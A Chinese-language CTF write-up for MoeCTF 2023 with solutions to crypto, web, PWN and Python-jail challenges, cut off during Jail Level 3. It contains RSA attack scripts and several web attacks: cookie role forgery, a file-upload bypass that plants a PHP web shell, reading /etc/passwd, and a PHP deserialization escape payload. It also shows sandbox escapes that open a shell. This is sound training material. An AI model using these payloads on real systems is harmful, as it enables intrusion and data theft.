n1 = 17524722204224696445172535263975543817720644608816706978363749891469511686943372362091928951563219068859089058278944528021615923888948698587206920445508493551162845371086030869059282352535451058203615402089133135136481314666971507135484450966505425514285114192275051972496161810571035753943880190780759479521486741046704043699838021850105638224212696697865987677760179564370167062037563913329993433080123575434871852732981112883423565015771421868680113407260917902892944119552200927337996135278491046562185003012971570532979090484837684759828977460570826320870379601193678304983534424368152743368343335213808684523217
c1 = 6870605439714128574950893771863182370595667973241984289208050776870220326525943524507319708560433091378319367164606150977103661770065561661544375425887970907060665421562712515902428061727268441585629591525591001533188276465911918724808701356962871139957343861919730086334623932624184172272488406793955068827527130338853980609365042071290967556159598511667974987218999253443575482949258292953639729393456515185185102248985930422080581185292420347510600574229080211050520146551505605537486989306457793451086767402197128573781597156939709237045132856159368959981648969874765462190363842275826077556314448408825308218451
n2 = 24974121071274650888046048586598797033399902532613815354986756278905133499432183463847175542164798764762683121930786715931063152122056911933710481566265603626437742951648885379847799327315791800670175616973945640322985175516271373004547752061826574576722667907302681961850865961386200909397231865804894418194711076667760169256682834206788730947602211228930301853348503098156592000286467190760378847541148772869356389938999094673945092387627113807899212568399028514283219850734634544982646070106811651490010946670117927664594365986238107951837041859682547029079035013475238052160645871718246031144694712586073789250183
c2 = 10324627733161143472233272675096997859064721978612320424254305978486200326061730105384511258706433940176741256952824288120499229240005823611541292676234913505775165761543820764046537413943393325463602612485849366939102550336256797820440347815027443410399157963547486098366749815425187247171697678576246606105486928212486117878157055321965270364583625270716186820068538749425299073309429589410882809098930213978117176627031795312102177342499674234163614021182116065492884880492891668658240362567156235958605768725892407536211503981819707919444725863397622629226309480836486427388484176463279384813974310500625102568341
n3 = 14215826065753265334521416948225868542990756976323308408298887797364519400310818641526401662106853573185085731682502059761982246604277475488691297554851873224516934619888327644352138127883043558424300092247604877819821625587944308487310522092440517150600171819145803937177931473336108429889165189521078678397694303305705260759351843006130968234071638035667854938070597400634242396852782331461576526836227336952718230741560369621645218729592233657856104560425642219241082727756696967324334634822771842625681505869025740662258929200756109704988223034840699133778958569054445520305361142302393767439478256174414187983763
c3 = 415916446053083522663299405080903121619846594209033663622616979372099135281363175464579440520262612010099820951944229484417996994283898028928384268216113118778734726335389504987546718739928112684600918108591759061734340607527889972020273454098314620790710425294297542021830654957828983606433731988998097351888879368160881316237557097381718444193741788664735559392675419489952796677690968481917700683813252460912749931286739585465657312416977086336732056497161860235343155953578618273940135486362350057858779130960380833359506761436212727289297656191243565734621757889931250689354508999144817518599291078968866323093
n4 = 12221355905532691305226996552124162033756814028292708728711809229588190407700199452617060657420166395065565154239801465361510672853972152857415394695376825120759202857555325904640144375262531345320714166285999668052224661520834318497234299585219832943519644095197479639328120838919035625832361810964127485907587199925564724081163804724975965691571850962714258888527902920462746795712011579424322515292865504642938090200503979483095345893697972170153990274670257331483858538617460680462369680572833191232126527727222302641204529110948993583190295067970240051042000918629138767209918572311469915774910003970381965123241
c4 = 2248834602646305164283014556051672824689884721514190813323189875541899566338153534858709617544459297836048770439230174669883719627734394673012731609952869246171300132019334542245094425654362711870373095782083791160029789553806741967408922001051006100049326921742208757147339981269528740944842177729701945606827918253016001436218891580980192743564642120923356793292885805519110411357830040053435569937296612987581482128241218218550319154933831743819546558930918761162723110000328532730751591375727881221199739397698390594797621758011191224528339478784930214820615602510460640307707682865125229937141010351138099874025
n5 = 18152103454920389919231636321286527841833809319334215885641536161086810144890443857211776387914779781628740172079478910188540146498426564211851629962338413488555121865779016981727229209606498886170396500155102635962395243364899026418106378234307821492609778555173516000309435730752571818439328803899462791834490025768785383592935046996428331508608555503567191807692523852530836008436655164751054189301721070209363416058642811329040202582026786024825518381761299547703962502636888833428457116986351812252188468878701301184044948733274488264320930936362549028124581962244201377136969591119942276742760215403738913067567
c5 = 2797812094994121597295362327809389195134238119144547570610194659000554967367804835006774413888965325870488368112707535584687083342412367127561646136089638402907513075405746055834487062923240856950047936297155455745928810738711368950139327254040579266046642851362228893522740216519732851152162928545416236075387903789535000820423985522550638100049857678600662008021574841083416323980817348573062083159710189689337626277009675683473560325178417766400002763719953723259300977655801234386662217462862844994462505601804422871991694828697337752697234180117437785537788728412520613916334045368736691714704501962513954509705
n6 = 22877887459293720334652698748191453972019668578065068224653972884599636421200068659750242304040301306798039254241668648594556654589309801728248683586229288074709849246660525799452637187132633064172425677552176203292787732404537215347782229753837476655088638984496409603054524994383358547132112778403912563916886533181616856401929346567686400616307916690806467019665390260267596320840786982457521423178851498130935577260638269429250197050326097193841333205073650802709022947551398142692735680419453533128176592587955634333425401930362881423044363132586170013458300714163531162544301477356808388416864173949089028317961
c6 = 12271947322974809255127222556723394446467844330408506340843897575503534175121932185624776713618037572593449207329510171212097269297133492090526270770286000839978630002819714376964416081198925899119135271459404333829811516667576167576916805217016117373027245648473458331936273975110163065432285322832123169216976420362833557809289561705091817949915218278430834098156335989014645979633658818904753942786129126233956314517292746008579152368541316795082120147520597254020266752859205131887527661767589367756335766220841483940854397440079467053684289006956034944336788288196391829411432383541473132962783883758561108297747
n7 = 19844333358004073542783728196775487079202832688982038135532362073659058674903791697765527614270399097276261983744620537925712167578187109058145015032736796457938148615396547198728652435169126585595701228287449135664667959433491335769206692390262797325133960778920452511673878233190120432257482339068405290918739453464061987163074129048150451046315248186376609350095502130018696275764450248681787926130463463923862832714969425813770847493135627599129546112143050369344208092649256659330284904392961574494907186727388685504929586018639846040474616307662546605623294842316524163106100888851228858194942825157286544846177
c7 = 9531264751315473345056673937611382755236533664089452852716992791452558274873158812669513178040971923528201631609089069182049526587423864397527252061341857426422965190913745048414029690931254119437249218321954899956104589066479231204536856131403590472063496956452030342299863907499976917750846369802185896519725837163530049157920978007252920334447236842959033879772444475877613295594785710745889554296655932909212643500877218304116451889820444820534937901427158918411546484157737612926382420354101675658160847653151539420222526999426483473829341628599881460824765758346670633385844187252696874025582747177333702736465
n8 = 16956880944655068255446705024149899655327230949463546092744762226005904114738078692036960935391303255804754787864713189658290361949509917704853428701870609882427423574672772606814823959758208695540116440342488334213300943604780971422918744381486937517952553797134323570131582724393100092308466968491068503301604506186521656059375518680612292667310641047190088814753025794048591445267711939066523165042651430468971452726568222388482323097260496415484997546126185688914792795834046855221759289007609518312601640548469651358391745947588643697900883634533872314566389446271647587564348026861264979727062157272541149018781
c8 = 16110326928338602237561005337578085623028116490564329920738844771341250444164294693848130674347672763073995755532723894042946521372321947507527854966013459795492930736187058535665041545095683801386814190612817128504426590828954205050425979880047802547011117626354405687170961272200066258220699329112978151044633994329352673342582175349200008181837211288847301836681860817044391028992501763375849046751094019224570802498414368189170656992427042010362385494565216988561215657424755648213390551881450141899860811844684546992754530755092358644968088017107313907435586729574798046187046145596726569637758312033849476689378
n9 = 16472195897077185060734002588086375750797253422014472876266294484788862733424113898147596402056889527985731623940969291811284437034420929030659419753779530635563455664549165618528767491631867637613948406196511848103083967995689432928779805192695209899686072900265108597626632371718430059561807147486376536203800038054012500244392964187780217667805308512187849789773573138494622201856638931435423778275004491853486855300574479177472267767506041000072575623287557610576406578525902565241580838652860552046216587141709709405062150243990097835181557208274750462554811004137033087430556692966525170882625891516050207318491
c9 = 11867731823522211833301190385669833752050387304375114576570892885641949969365352586215693183003550684262313893105989683214739695968039039944442567581277252581988489020834299896625977474857889570528169919064941042132119301236852358823696947330423679033138054012027878783478922023431469564210485180679933264749281963405243082505688901662659030897104957499953192201440290084373968716271056483463909282407034181891901928790601973222643210525000717355062752079302291729448234374709852429885984987094307177760741403086538949190424454337896501402430653783597070178968921411867485584517214777073301007918941216316241784521708
n10 = 13890749889361612188368868998653029697326614782260719535555306236512452110708495623964530174188871342332417484996749651846510646453983388637377706674890018646246874688969342600780781646175634455109757266442675502522791531161284420286435654971819525519296719668701529481662071464145515727217108362496784024871976015116522898184301395037566514980846499856316532479656908169681719288258287756566886281183699239684997698487409138330229321935477734921670373632304542254938831218652340699024011371979519574576890581492623709896310465567043899767342676912434857372520308852745792360420376574037705943820090308501053778144141
c10 = 6250115196713939477947942995075509357173312813431601073354390451609559579925704891503987992181988654989477525811826607070378476102616752398280691012244301950194800995432882828020405062344160270290542566163969692748126314259624623341922057435728127596172871894887055305291345372720594481096374310285437492746765510292863238933163142677773310305789984897974266961231555124787205980411992251387207335655129551950825339766848166539671565212408741432649813058363660321480995187545006718837863674527475323414266732366507905974800565463011676462244368010182725161416783875646259625352308599198614681446394427674340328493047
n11 = 21457499145521259498911107987303777576783467581104197687610588208126845121702391694574491025398113729462454256070437978257494064504146718372095872819969887408622112906108590961892923178192792218161103488204912792358327748493857104191029765218471874759376809136402361582721860433355338373725980783308091544879562698835405262108188595630215081260699112737457564998798692048522706388318528370551365364702529068656665853097899157141017378975007689790000067275142731212069030175682911154288533716549782283859340452266837760560153014200605378914071410125895494331253564598702942990036163269043699029806343766286247742865671
c11 = 6269656777204332618433779865483197625538144405832409880710764183039800286008967127279281167109250083159801218370191973055663058165456565194979210256278526713608759141588082614531352489547674696723140599892318118960648862531538435596775798128845789504910467783731144808685373807716609662688064728614003904579841055786083326311313295311152563668422289435606771091246147867715987583149743032723028324394173498623642539175178996531881058274717907066845565199058931743481410454382746158558886667761300257488769795092777021292335562818583719708133179974425584610403335487082478848975656282384575767178925517257692365828720
# 采用辗转相除法求p、q
def gcd(x, y):
if x < y:
x, y = y, x
while x % y != 0:
a = x % y
x = y
y = a
return y
n = [n1, n2, n3, n4, n5, n6, n7, n8, n9, n10, n11]
# 计算n的两两之间的最大公约数,得到p
for i in range(len(n)):
for j in range(i + 1, len(n)):
if gcd(n[i], n[j]) != 1:
# print(i, j) # 输出2和10,只有他们有相同的公约数
N = n[i]
p = gcd(n[i], n[j])
# print("n=", N)
# print("p=",p)
q = N // p
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
m = pow(c3, d, N) # 这里用哪个密文需要自己去尝试
print(long_to_bytes(m)) # b'moectf{it_is_re@lly_@_signin_level_cryPto_ch@ll@nge_ng92WPIBung92WPIBun}'
giant_e
代码如下。
from Crypto.Util.number import getPrime
with open("flag.txt","rb") as fs:
flag = fs.read().strip()
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x609778981bfbb26bb93398cb6d96984616a6ab08ade090c1c0d4fedb00f44f0552a1555efec5cc66e7960b61e94e80e7483b9f906a6c8155a91cdc3e4917fa5347c58a2bc85bb160fcf7fe98e3645cfea8458ea209e565e4eb72ee7cbb232331a862d8a84d91a0ff6d74aa3c779b2b129c3d8148b090c4193234764f2e5d9b2170a9b4859501d07c0601cdd18616a0ab2cf713a7c785fd06f27d68dff24446d884644e08f31bd37ecf48750e4324f959a8d37c5bef25e1580851646d57b3d4f525bc04c7ddafdf146539a84703df2161a0da7a368675f473065d2cb661907d990ba4a8451b15e054bfc4dd73e134f3bf7d8fa4716125d8e21f946d16b7b0fc43
m = int.from_bytes(flag,"big")
c = pow(m,e,n)
print(n) # 0xbaa70ba4c29eb1e6bb3458827540fce84d40e1c966db73c0a39e4f9f40e975c42e02971dab385be27bd2b0687e2476894845cc46e55d9747a5be5ca9d925931ca82b0489e39724ea814800eb3c0ea40d89ebe7fe377f8d3f431a68d209e7a149851c06a4e67db7c99fcfd9ec19496f29d59bb186feb44a36fe344f11d047b9435a1c47fa2f8ed72f59403ebb0e439738fd550a7684247ab7da64311690f461e6dce03bf2fcd55345948a3b537087f07cd680d7461d326690bf21e39dff30268cb33f86eeceff412cd63a38f7110805d337dcad25e6f7e3728b53ca722b695b0d9db37361b5b63213af50dd69ee8b3cf2085f845d7932c08b27bf638e98497239
print(c) # 0x45a9ce4297c8afee693d3cce2525d3399c5251061ddd2462513a57f0fd69bdc74b71b519d3a2c23209d74fcfbcb6b196b5943838c2441cb34496c96e0f9fc9f0f80a2f6d5b49f220cb3e78e36a4a66595aa2dbe3ff6e814d84f07cb5442e2d5d08d08aa9ccde0294b39bfde79a6c6dcd2329e9820744c4deb34a039da7933ddf00b0a0469afb89cba87490a39783a9b2f8f0274f646ca242e78a326dda886c213bc8d03ac1a9150de4ba08c5936c3fe924c8646652ef85aa7ac0103485f472413427a0e9d9a4d416b99e24861ca8499500c693d7a07360158ffffa543480758cafff2a09a9f6628f92767764fa026d48a9dd899838505ae16e38910697f9de14
可以看到此题的e非常大,题型为低解密指数攻击。在e过大或过小的情况下,可使用算法从e中快速推断出d的值,进而求出m。(整个的证明过程可以参考https://www.tr0y.wang/2017/11/06/CTFRSA/index.html#%E4%BD%8E%E8%A7%A3%E5%AF%86%E6%8C%87%E6%95%B0%E6%94%BB%E5%87%BB)。 脚本如下。
def rational_to_contfrac(x, y):
# Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients
def convergents_from_contfrac(frac):
# computes the list of convergents using the list of partial quotients
convs = [];
for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0: i]))
return convs
def contfrac_to_rational(frac):
# Converts a finite continued fraction [a0, ..., an] to an x/y rational.
if len(frac) == 0: return (0, 1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num
return (num, denom)
n = 0xbaa70ba4c29eb1e6bb3458827540fce84d40e1c966db73c0a39e4f9f40e975c42e02971dab385be27bd2b0687e2476894845cc46e55d9747a5be5ca9d925931ca82b0489e39724ea814800eb3c0ea40d89ebe7fe377f8d3f431a68d209e7a149851c06a4e67db7c99fcfd9ec19496f29d59bb186feb44a36fe344f11d047b9435a1c47fa2f8ed72f59403ebb0e439738fd550a7684247ab7da64311690f461e6dce03bf2fcd55345948a3b537087f07cd680d7461d326690bf21e39dff30268cb33f86eeceff412cd63a38f7110805d337dcad25e6f7e3728b53ca722b695b0d9db37361b5b63213af50dd69ee8b3cf2085f845d7932c08b27bf638e98497239
e = 0x609778981bfbb26bb93398cb6d96984616a6ab08ade090c1c0d4fedb00f44f0552a1555efec5cc66e7960b61e94e80e7483b9f906a6c8155a91cdc3e4917fa5347c58a2bc85bb160fcf7fe98e3645cfea8458ea209e565e4eb72ee7cbb232331a862d8a84d91a0ff6d74aa3c779b2b129c3d8148b090c4193234764f2e5d9b2170a9b4859501d07c0601cdd18616a0ab2cf713a7c785fd06f27d68dff24446d884644e08f31bd37ecf48750e4324f959a8d37c5bef25e1580851646d57b3d4f525bc04c7ddafdf146539a84703df2161a0da7a368675f473065d2cb661907d990ba4a8451b15e054bfc4dd73e134f3bf7d8fa4716125d8e21f946d16b7b0fc43
c = 0x45a9ce4297c8afee693d3cce2525d3399c5251061ddd2462513a57f0fd69bdc74b71b519d3a2c23209d74fcfbcb6b196b5943838c2441cb34496c96e0f9fc9f0f80a2f6d5b49f220cb3e78e36a4a66595aa2dbe3ff6e814d84f07cb5442e2d5d08d08aa9ccde0294b39bfde79a6c6dcd2329e9820744c4deb34a039da7933ddf00b0a0469afb89cba87490a39783a9b2f8f0274f646ca242e78a326dda886c213bc8d03ac1a9150de4ba08c5936c3fe924c8646652ef85aa7ac0103485f472413427a0e9d9a4d416b99e24861ca8499500c693d7a07360158ffffa543480758cafff2a09a9f6628f92767764fa026d48a9dd899838505ae16e38910697f9de14
def egcd(a, b):
if a == 0: return (b, 0, 1)
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)
def mod_inv(a, m):
g, x, _ = egcd(a, m)
return (x + m) % m
def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
# check if x*x - s*x + n = 0 has integer roots
D = s * s - 4 * n
if D >= 0:
sq = isqrt(D)
if sq * sq == D and (s + sq) % 2 == 0: return d
d = crack_rsa(e, n)
m = hex(pow(c, d, n))[2:]
print(bytes.fromhex(m)) # b'moectf{too_larGe_exponent_is_not_a_iDea_too!_Bung92WPIBung92WPIBung9?WP}'
web渗透测试与审计
Web入门指北
一次16进制解码加一次base64解码即可获得flag。

http
题目意思如下。

只要我们能满足以上5个条件,即可获得flag。
但是由于容器采用的是wsrx穿透,最终访问的是localhost的地址,这时burp就无用武之地了。这里用了另一款工具postman。



发包即可获得flag。

彼岸的flag
直接从前端代码中搜索ctf就能拿到flag。

cookie
看下所给的附件内容。
## 一些api说明
注册 `POST /register`
`json
{
"username":"koito",
"password":"123456"
}
`
登录 `POST /login`
`json
{
"username":"koito",
"password":"123456"
}
`
获取flag `GET /flag`
查询服务状态 `GET /status`
告诉我们有register、login、flag、status四个api接口,最终肯定是要访问flag接口获得flag。
访问一下地址,页面回显如下。

访问一下flag接口。

提示我们不是admin,看来想获得flag必须是admin身份。
注册一个账号。

注册成功,登陆一下。

发现产生了cookie。

base64解码发现可操作的地方,只需要将role改为admin,再编码回去,换掉cookie就可以了。


访问flag接口的时候带上我们构造好的cookie就可以了。

gas!gas!gas!
页面如下。

先随便提交一次,看看页面有没有回显。

看到了页面提示,那这题看来是根据页面的回显来改变方向和油门。看一下方向和油门两个参数对应的参数名。

知道了这两个参数对应的参数名之后,就可以编写脚本了。(别看说的简单,实际调试起来还是挺操蛋的)
import requests
import re
import time
url = "xxxxxx"
session = requests.session() # 必须要用session,只用post的话,当一次会话结束后,session的清空了
params = {'driver': 'a', 'steering_control': '-1', 'throttle': '2'}
response = session.post(url,params)
response.encoding = "utf-8"
while True:
pattern = re.compile('<font color="red">(.*?)</font>')
res = pattern.findall(response.text)
# soup = BeautifulSoup(response.text, 'html.parser')
# res = soup.find('div', class_="info")
# print(response.text)
print(response.text)
print(res)
if 'moectf' in response.text:
print(response.text)
break
if res[0] == "弯道向右,抓地力太小了!":
params['steering_control'] = -1
params['throttle'] = 0
elif res[0] == "弯道向左,抓地力太小了!":
params['steering_control'] = 1
params['throttle'] = 0
elif res[0] == "弯道直行,抓地力太小了!":
params['steering_control'] = 0
params['throttle'] = 0
elif res[0] == "弯道向右,抓地力太大了!":
params['steering_control'] = -1
params['throttle'] = 2
elif res[0] == "弯道向左,抓地力太大了!":
params['steering_control'] = 1
params['throttle'] = 2
elif res[0] == "弯道直行,抓地力太大了!":
params['steering_control'] = 0
params['throttle'] = 2
elif res[0] == "弯道直行,保持这个速度":
params['steering_control'] = 0
params['throttle'] = 1
elif res[0] == "弯道向左,保持这个速度":
params['steering_control'] = 1
params['throttle'] = 1
elif res[0] == "弯道向右,保持这个速度":
params['steering_control'] = -1
params['throttle'] = 1
time.sleep(0.1)
response = session.post(url, params)
response.encoding = "utf-8"

大海捞针
访问一下界面。

提示我们需要用get方式对id传参,并且id的范围在1~1000之间,不多说,直接用脚本。
import requests
import time
url = "xxxxxx"
for i in range(1, 1001):
params = {'id': i}
res = requests.get(url, params).text
if "moe" in res:
print(res)
break
else:
print("{}不存在".format(i))
time.sleep(0.3)

moe图床
进入界面,一看就知道考点是文件上传。

先尝试上传个一句话木马,发现在前端做了拦截,只能上传png类型的文件。

前端判断代码如下:
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];
if (!file) {
alert('请选择一个文件进行上传!');
return;
}
const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}
const formData = new FormData();
formData.append('file', file);
fetch('upload.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
const uploadResult = document.getElementById('uploadResult');
const para = document.createElement('p');
para.textContent = ('地址:');
const link = document.createElement('a');
link.textContent = result.file_path;
link.href = result.file_path;
link.target = '_blank';
para.append(link);
uploadResult.appendChild(para);
alert('文件上传成功!');
} else {
alert('文件上传失败:' + result.message);
}
})
.catch(error => {
console.error('文件上传失败:', error);
});
}
那就上传个图片马吧,发现上传成功了,但是不能解析。

那思路就暂时卡住了,目录扫描一下,看看有没有其他文件。没想到还真扫到个upload.php,代码如下。
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];
if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}
if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);
if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>
代码审计:先判断了content-type类型,如果不是image/png就失败;再判断文件的大小,这个大概率不用管;然后对上传的文件名根据点号分割,如果分割完之后只有1部分,直接die;如果大于等于2部分,他只判断了第2个是不是png,那么这样子漏洞就产生了。如果我上传一个叫2.png.php的文件不就可以成功了。(我这里用的是火狐浏览器,谷歌浏览器好像抓不了localhost的包)

果然可行,并给出了上传路径,访问一下。

一看就知道,一句话木马被解析了,用蚁剑连接,获得flag。

meo图床
界面跟上题一样,考的还是文件上传漏洞。

上传一句话木马,当然是被拦截了,提示只能上传png、gif和jpeg类型的文件。

尝试了以下几种绕过方式都失败了。
第一种:上传图片马。

第二种:通过00截断上传php文件。

最终在一句话木马之前加上魔术头GIF89a后成功上传,并给出了上传路径。

发现上传之后是个php文件,直接访问想要去执行一句话木马,但是失败了。

因为url中有个name参数,猜测可能是存在任意文件读取的漏洞,随便访问一个不存在的文件。

有报错信息显示,原来是通过file_get_contents函数去读取文件的,那尝试读取一下/etc/passwd文件,成功。

既然如此,那我就直接利用这个漏洞去读flag了,根据经验大概率是藏在根目录下。

提示我们flag不在这里,但是有一个隐藏文件爆了出来。
访问一下该文件,果然有回显。

源代码如下:
<?php
highlight_file(__FILE__);
if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];
if ($param1 !== $param2) {
$md5Param1 = md5($param1);
$md5Param2 = md5($param2);
if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}
?>
就是一个简单的md5碰撞,直接利用数组绕过,读取flag成功。

夺命十三枪
访问地址,给出了源码。
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
一个非常明显的反序列化漏洞,但是没有看到Omg_It_Is_So_Cool_Bring_Me_My_Flag类和Deadly_Thirteen_Spears类以及其Make_a_Move方法的实现。虽然Omg_It_Is_So_Cool_Bring_Me_My_Flag的构造方法可以猜出个七七八,但是还是无法达到利用的地步。其实我们都忽略了一个点,就是开头的require_once函数,require_once函数和include_once函数最大的区别就是一个先加载再执行,一个是先执行再加载。既然这里用了require_once函数,那么说明Hanxin.exe.php文件是肯定存在的,访问一下,果不其然,源代码如下。
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
想要达到获取flag的目的,那么就得让Omg_It_Is_So_Cool_Bring_Me_My_Flag类中的$Spear_Owner变量等于"MaoLei"。但是我们传入的值只能修改Chant变量,那么如何让我们传入的值成功修改Spear_Owner变量就是本题最后的难点了。这里就涉及到反序列化的字符逃逸了。
逃逸有两种情况:
第一种:过滤后字符数增加
要求:一个及以上可控变量
思想:字符串变长后,正好把变长的那部分吞进去为第一个变量,把我们要修改的值排出来并作为第二个变量
第二种:过滤后字符数减少
要求:两个及以上可控变量
思想:第一个变量被变空后,往后取第二个变量的值,取到我们想改变的那个固定变量后为止
再回到题目,序列化之后还会通过Deadly_Thirteen_Spears类的Make_a_Move方法对关键字进行替换。由于暂时不知道序列化后的结果是怎么样的,所以我们先随便输入,看看构造出来的序列化数据长什么样。
先输入一个aaaa,回显如下:

再输入一个asifjakdhfosidahfgsoig,回显如下:

大概能掌握规律了。先看下我们的payload:";s:11:"Spear_Owner";s:6:"MaoLei";},这样就能让Spear_Owner的值进行改变。但是当我们输入该payload时,发现都被当成字符串处理了。

那我们就需要让payload给逃逸出来。数一下payload的长度,总共35个字符,那我们只要让在经过Make_a_Move方法之后能够多出这35个字符,那么我们的payload就逃逸出来了,我这里用的是di_shi_san_qiang和Unrepentant_Lethality的替换,每次替换能多出5个字符,重复7遍即可。不一定选择我这个,只要能满足多出35个字符的都可以。下面就是最终的payload:
di_shi_san_qiangdi_shi_san_qiangdi_shi_san_qiangdi_shi_san_qiangdi_shi_san_qiangdi_shi_san_qiangdi_shi_san_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

PWN
test_nc
这题就是让我们了解python中的pwn库的,只要nc连接上之后就会给一个shell环境,这不就是妥妥的命令执行了嘛。
from pwn import *
io = remote("localhost",59290)
res = io.recv()
io.interactive()

baby_calculator
nc连接一下,看到题目意思就是让我们判断他输出的表达式计算正不正确。

直接编写脚本。
from pwn import *
re = remote("127.0.0.1", 57659)
# re.interactive()
recv = re.recvlines(7)
i = 0
while i < 100:
recvtemp = re.recvlines(2)
recvline = str(re.recvline(keepends=False), 'UTF-8')
split = recvline.split('=')
cal = split[0]
ans = int(split[1])
calAns = eval(cal)
if calAns == ans:
re.sendline("BlackBird")
elif calAns != ans:
re.sendline("WingS")
i += 1
re.interactive()

沙箱逃逸
Jail Level 0
这种类型的题目我也是第一次见,还好这题是最简单的,先见识一下。开启环境,用python的pwn库连接。
from pwn import *
nc = remote("localhost", 49858)
nc.interactive()

按g可以得到源码,按e进入挑战,按c可以得到挑战描述,按q退出。
先看下源码。
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))
漏洞就出现在这个eval函数上。因为用户可以直接通过os模块来调用system方法执行任何的终端命令。
就比如:
eval(__import__('os').system('ls'))和os.system('ls')的作用是一样的。
知道了这个,这题就简单了,就是普通的命令执行。

Jail Level 1
还是跟上题一样,先nc连接上,查看源码。
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
这题比上题多一个限制,就是payload的长度不能大于12。
找了大量关于跟"__import__('os').system('ls')"命令意思相同的,但是长度都大于12,无法满足题目条件,机缘巧合之下,让我发现了新大陆,叫做"pyjail沙箱逃逸"。这里的知识挺丰富的,感兴趣可以看看以下链接。
https://blog.csdn.net/weixin_53090346/article/details/130939099
https://zhuanlan.zhihu.com/p/578986988
再说回这题,可以通过breakpoint()断点调试函数来执行我们的命令,通过一次执行breakpoint后在里面再嵌套一层eval(input()),剩下的步骤就跟上题一样了。(真不容易啊,找资料累到半死)

Jail Level 2
还是老样子,先看源码。
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
这题比上题还要狠,payload的长度不能大于6。
受益于上题,这题查资料就容易多了。此题可以用help()函数,在help页面,也存在一个交互式的界面,然而当输入一些函数/内置库/关键字等之后,我们会获得一个pager(当输入os之后),让人意想不到的是这个page默认是less的,因此可以将感叹号后面的输入解释为命令并执行,当我们输入!sh之后,就可以获得一个shell。
http://tttang.com/archive/1428/#toc_0x03-2seccon-2021-hitchhike


Jail Level 3
查看源码。
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
